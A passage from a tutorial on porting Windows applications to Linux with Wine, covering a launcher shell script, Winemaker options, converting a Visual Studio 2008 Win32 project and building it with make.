appname=”hello.exe.so”
# determine the application
directory
appdir=''
case “$0” in
*/*)
# $0 contains a path, use it
appdir=`dirname “$0”`
;;
*)
# no directory in $0, search in
PATH
saved_ifs=$IFS
IFS=:
for d in $PATH
do
IFS=$saved_ifs
if [ -x “$d/$appname” ]; then appdir=”$d”; break; fi
done
;;
esac
# figure out the full app path
if [ -n “$appdir” ]; then
apppath=”$appdir/$appname”
WINEDLLPATH=”$appdir:$WINEDLLPATH”
export WINEDLLPATH
else
apppath=”$appname”
fi
# determine the WINELOADER
if [ ! -x “$WINELOADER” ]; then
WINELOADER=”wine”; fi
# and try to start the app
exec “$WINELOADER” “$apppath” “$@”
Windows on Linux
Visual Studio 2008 New Project dialog

Step 04

Porting a bigger project using Winemaker
Winegcc is helpful if your application consists of only one file, but that isn’t usually the case. In most cases a Windows application consists of multiple source files as well as resource files. Winelib ships with a tool called Winemaker. It is capable of generating UNIX-compatible makefiles from Windows project source code. Winemaker is a very important tool in getting your first step (also the most difficult one) ready. It does all the dirty work for you, from fixing up files to creating a UNIX-compatible makefile. It is capable of fixing most of the issues mentioned in step 1 ‘Rules of engagement’.
Winemaker provides the following options to help you out with porting your code. These options customise the resultant makefile to suit your needs.
–lower-uppercase: This option deals with the cases of filenames and puts them in order.
–dll: This option instructs Winelib to build a DLL (dynamic-link library) project instead of a GUI project.
–console: This option directs Winelib to build a console application.
–mfc: This directs Winelib to build an MFC (Microsoft Foundation Class) library application. Please note that Wine does not ship with the MFC library; you will have to build it on your own with Winelib.
–nobackup: Winelib keeps a backup of files which it changes. If you already have this source code present somewhere else, you can use this option to save a lot of time and disk space.
-Idir: Specifies to include file directories. This option accepts paths to files in absolute format.
-Ldir: Specifies library file directories.
-idll: Directs Winelib to import a library file through the spec file mechanism.
-llibrary: Instructs Winelib to import UNIX library files
In this step we will take the default application built by Microsoft Visual Studio and try to compile it with Winemaker on Linux.
Creating the Win32 Application:
Open Microsoft Visual Studio 2008. Click File> New>Project…
From the New Project dialog box, select Visual C++>Win32. Then select Win32 Project. Give an appropriate Name for the project, Location and Solution Name. Then click OK. The Win32 Application Wizard will open.
Click Next to continue. On the Application Settings page, select the Application type as a Windows application. Leave the rest of the settings as is. Click Finish to create the project.
The finished project will now open in Visual Studio. Solution Explorer will show all the files created for the project.
As you can see, this is a fully featured project with multiple header files, source files and resource files. For this tutorial we need to modify the project itself. We would rather focus on porting part of this application.
Let’s run this application to see if everything is working perfectly. Click Build>Build Solution to build the project, then click Debug>Start Without Debugging.
Copy the LUDWin32Project directory to the chrooted folder, ie /var/chroot/. Then perform the following steps to create a UNIX makefile project using Winemaker:
cd into main project directory
# cd LUDWin32Project/ LUDWin32Project/
Run Winemaker to fix the source files and create UNIX makefiles:
# winemaker --lower-uppercase --nomfc .
Winemaker 0.8.3
Copyright 2000-2004 Francois Gouget for CodeWeavers
Copyright 2004 Dimitrie O. Paun
Copyright 2009-2012 Andr Hentschel Scanning the source directories... Projectfile found! You might want to try using it directly.
Fixing the source files...
LUDWin32Project.cpp
LUDWin32Project.rc
LUDWin32Project.h
Resource.h
stdafx.cpp
stdafx.h
targetver.h
Generating project files...
.
The above command fixes the case-related issues with the source code. ‘-nomfc’ indicates that we do not want to use the MFC library with this project. As you can see in the out put above, it has located a project file (vcproj), but we will skip it for this tutorial as Visual Studio project files are not fully compatible with Winemaker.
Winemaker will fix the files and create .bak files for the modified files. It will also create the makefile which we can run against the standard GNU Make utility to build the application.
Makefile structure of a Winelib project:
Most of the time, the makefile generated with Winemaker will be a good fit for your project. However, for some advanced and complex applications, you might need to customise the makefile yourself. The following explains the very basic structure of a Winelib project.
Makefile generated by Winemaker
SRCDIR                = .
SUBDIRS =
DLLS =
LIBS =
EXES =
ludwin32project
### Common settings
CEXTRA = -mno-cygwin
CXXEXTRA = -mno-cygwin
### Global source lists
C_SRCS =
$(ludwin32project_C_SRCS)
CXX_SRCS =
$(ludwin32project_CXX_SRCS)
RC_SRCS =
$(ludwin32project_RC_SRCS)
### Tools
CC = winegcc
CXX = wineg++
RC = wrc
AR = ar
This is not a complete makefile, but the main options you should take a look at. However, most of the options will be filled by Winemaker itself.
Compile the project by issuing Make
# make
wineg++ -c -mno-cygwin -I. -o
LUDWin32Project.o LUDWin32Project.cpp
wineg++ -c -mno-cygwin -I. -o
stdafx.o stdafx.cpp
wrc -I. -foLUDWin32Project.res
LUDWin32Project.rc
wineg++ -mwindows -mno-cygwin -o
ludwin32project LUDWin32Project.o
stdafx.o LUDWin32Project.res
-lodbc32 -lole32 -loleaut32
-lwinspool -lodbccp32 -luuid
As you can see, the correct compilers are used for respective files. For example, wineg++ is used for .cpp files, wrc (Wine Resource Compiler) is used for .rc files.
The ‘make’ command will produce ludwin32project.exe.so and ludwin32project.exe. Run the ludwin32project.exe file to start the ported application.
Windows on Linux
Solution Explorer with LUDWin32Project open

Step 05

Conclusion
Wine is one of the key technologies which can help you go Windows free. There are an enormous number of Windows applications that just work on Wine without developer support – see the full list at the Wine HQ. If your application is not on that list, you can use Winelib to port your application natively to Linux. It will have the same performance as any other native application. Winelib is very easy to use, especially with a tool like winemaker which takes care of much of the standard porting issues by itself. So, if you are a Windows developer avoiding the Linux platform because you thought it was too much work, it’s time to give Wine a try.

Viewing all 1409 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>